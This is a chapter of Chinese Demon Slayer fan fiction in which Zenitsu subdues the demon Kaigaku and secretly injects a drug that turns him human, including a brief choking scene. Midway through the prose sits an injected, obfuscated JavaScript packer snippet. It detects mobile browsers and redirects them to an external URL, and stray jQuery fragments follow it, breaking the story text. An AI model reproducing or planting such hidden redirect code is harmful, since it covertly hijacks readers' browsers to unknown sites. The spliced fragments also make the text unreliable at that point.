“你还在犹豫什么?”
黑猫施施然出现,走到他们身边。
“不要小看你自己,你比上一次更强,就算这家伙瞄准了,也不一定真的能切断你的脖子。”
它顿了顿:“你没有输。”
狯岳:“……”
狯岳:“我当然没有输。”
——先不管上一次是什么玩意。
只要还活着,总会有办法。在死之前,都不算输。
只要还活着,总有一天会赢。会赢给所有人看。
而现在,是我妻善逸输了。
他没能砍下他的脖子。他现在躺在他的膝盖上,任他宰割。
“那就杀掉善逸。”黑猫催促,“快呀!”
狯岳:“……”
狯岳:“我为什么非得按照你的想法行动不可?”
为什么这破猫比他还盼着善逸去死?
黑猫“啧”了一声,把头扭到一边,小声嘀咕:“叛逆期吗。”
我妻善逸恢复了一点力气,瞥了一眼黑猫:“是……这家伙,引诱了你吗?!”
什么话!
狯岳的火气又冒了出来:“不要说得好像我是什么容易动摇的傻瓜一样!”
黑猫把头又转了回来:“就是!狯岳比你聪明多了。”
狯岳:^=_=^。
狯岳:总觉得这家伙意有所指。
而黑猫还在继续:“他的血鬼术又没解除,你马上就要死掉了,还是先准备遗言吧。”
我妻善逸:“……”
我妻善逸:“狯岳——”
“死心吧,我才不会放过你。”
“我——”
“遗言也不想听。”
“……”
“……”
“不是,我都快死了,你能不能……能不能,好好说话?”
“我这就是在好好说话!你个废物老老实实被废弃就好了!”
话音落下,我妻善逸额角迸出青筋,忍不住大声咳嗽,好不容易才平缓呼吸:
“真是个人渣!”
“废物没资格说我。”
“那你为什么还拿着日轮刀?”
“……”
“隐回收了你的日轮刀。”
“……”
“那把日轮刀,现在还在我那里。现在这把刀是怎么回事?”
“……不关你的事。”
“想要你原本的那把日轮刀吗?”
“……”
“想要的话,就回答我的问题。”
“……”
“……”
看来,无论如何,这家伙都想要把对话进行下去呢。
狯岳把目光落在我妻善逸脸上,看在那招自创剑型的份上,第一次正视这个成长不少的师弟。
眼神……坚毅了一点,脸都裂了,还没哭个不停。
性格……没有逃避问题,而是执着发问,确实有了长进。
“……这是我的骨肉做的刀。”他大发慈悲,当着我妻善逸的面把刀收回身体内部。“这样。操控自己的身体,是鬼的基本能力。”
“很便利的能力呢,这样就不用担心把刀弄丢了……”
我妻善逸说完,干笑几声,然后在狯岳看傻子的目光中收声。
这种事情拿来说笑,这废物,果然脑子有病。
“那把刀我让隐帮忙送回桃山了,估计和其他杂物一起堆在玄关。”
“……这不是压根没藏起来吗?!”
“我也没说我把刀藏起来了啊。”
“你这家伙!”
“刚才的七之型,我命名为火雷神。你的血鬼术叫什么?”
“……黑雷,神。”
“刚才想出来的吧!这么随便的吗?”
“随你怎么想。”
“绝对是临时想的。”
“闭嘴吧你。”
“我可以教你火雷神。”
“你疯了?”
“如果你告诉我,你为什么会变成鬼——”
话音未落,狯岳大怒。
“问问问,问个鬼啊!”他揪住我妻善逸的领口,“你踏马有完没完,老头子都不关心这个,你非要问干嘛?有什么意义?是能让时间倒流,还是……”
——噗通。
什么声音?
有什么东西在身体内部剧烈鼓动。又或者是爆裂——总之,非同一般地炸响。
那是……
心脏?!
下一刻,从心脏向四肢百骸辐射出难以忍受的剧痛,令他浑身痉挛,抽搐着歪倒在地。
想要尖叫,喉咙却只能发出微弱的声响;想要挣扎,四肢却完全不听使唤。生理性的眼泪流个不停。
发生了什么?
这是怎么回事?
种种疑问还未完全成型,就被痛苦瞬间冲垮,所有感官一并涂白。
眼前有画面,耳边有声音,但他已无法做出任何有效判断。
于是主动权,自然转移到了另一个人手中——
我妻善逸,爬了起来。
在狯岳倒下之后,血鬼术消散,他脸上的雷纹般的裂纹,停止了继续蔓延。
他伸出手,将痛到只剩本能的狯岳抱进怀里,轻抚他颤抖的脊背。
“对不起……狯岳,师兄,大哥。”我妻善逸喃喃道,“变回人,回到我身边来吧。”
一支已经打空的针管从他手边掉落,在地板上弹了几下,尖利的金属反射出冰冷的光。
“你这家伙!”
黑猫恍然大悟,向后跳开,冲着我妻善逸龇牙。
“那里面,是变人药?!”
我妻善逸看了它一眼:“你居然知道?”
“我当然知道!”黑猫焦躁地徘徊,“怪不得,你在用完火雷神之后,非要往狯岳身上扑。原来打着这个主意!”
如果狯岳听它的话,早点把我妻善逸解决掉就好了。
可惜,没有如果。
“老实说,我也没想到会这么顺利。”我妻善逸歪了歪头。“狯岳……仗着自己是鬼,忽略了很多身体上的不良反应呢。”
“啧,刚才讲那么多废话,是为了拖延时间,让药剂生效吧。”
“我也是真心想问问题的。如果一开始,他肯老实回答我的问题,就不必这样了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17337047|195791||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“可那样,就不是狯岳了。”
“……是啊。”
“这药剂是不是有问题,他看上去快要死掉了。”
“不会死的,只不过我拜托了忍小姐,将药剂调整到会让他乖乖听话的程度而已。”
“……原来如此。”
“不然,我会被狯岳杀掉的吧。”
“……也是。”
“你能替他回答我的问题吗?”
“这种问题,不是本人来说,就没有意义吧。”
于是就轮到我妻善逸说“也是”。
他不再理会黑猫,拂开狯岳脸上被汗水和泪水打湿的发丝,用自己的衣袖擦去狯岳嘴边控制不住流出的涎水,看着他无法聚焦,失了神的绿色眼睛。
真是太狼狈了。
真是太可怜了。
可也太可恨了。
那双空洞的眼眸中,没有他的身影。
“为什么,为什么会变成鬼?”
他忍不住自言自语。
“为什么要这么对我?为什么要这么对爷爷?是我做错了什么吗?没有我,你才会幸福吗?”
显然,此时的狯岳什么都听不到,给不出任何答案。
但我妻善逸不管。
他鬼使神差地抬起手,掐上狯岳的脖颈,尝试收紧又放开。
这点痛苦,比起身体被转变的痛苦,实在微不足道,于是他没能得到半点有效反馈。
不轻不重地摩挲下,青白的皮肤逐渐恢复血色,又因为血色的淤积发青发黑。
“喂喂。”
姗姗来迟的愈史郎挑起眉毛。
“你这家伙,求来求去,好不容易把他保下来,是为了亲手杀掉他吗?”
还特么是字面意义的手,有病吧。
我妻善逸:……
我妻善逸:!!!
他这才如梦初醒,把手从狯岳的脖子上拿开,摇了摇头。
都到这一步了,他怎么可能杀了他,怎么舍得杀了他。
“哼,敢浪费珠世大人辛苦制作的药剂的话,杀了你哦!”
愈史郎先往狯岳的后颈补了一针,再腾出手来,给我妻善逸做检查。
“咦?裂缝这里的出血,居然早就止住了?”他伸手在我妻善逸脸上按压,“恭喜,你的眼珠不会掉出来了。”
我妻善逸:“呃……谢谢?”
“看来,那家伙也手下留情了,不枉你赌了这一把。”愈史郎给他缠好绷带,“听你们吵成那样,我还以为计划泡汤了,要么你死要么他亡……”
愈史郎之后,被叫来增援的鬼杀队队士也陆续赶到现场。
闭上眼睛、遮住耳朵的狯岳看上去和人无异,和服外袍下的制服乍眼看去,也和鬼杀队的队服很像。
于是,他们只以为,被我妻善逸紧紧抱在怀里的,是和他们一样的同事而已。
“上弦六被你们干掉了吗?!”眼熟的村田主动搭话,“太好了,我妻!”
“……啊,嗯,”我妻善逸收紧手臂,“上弦六……已经不在了。”
现在在这里的,只有他的大哥,他的师兄,一名鬼杀队的甲级队士,仅此而已。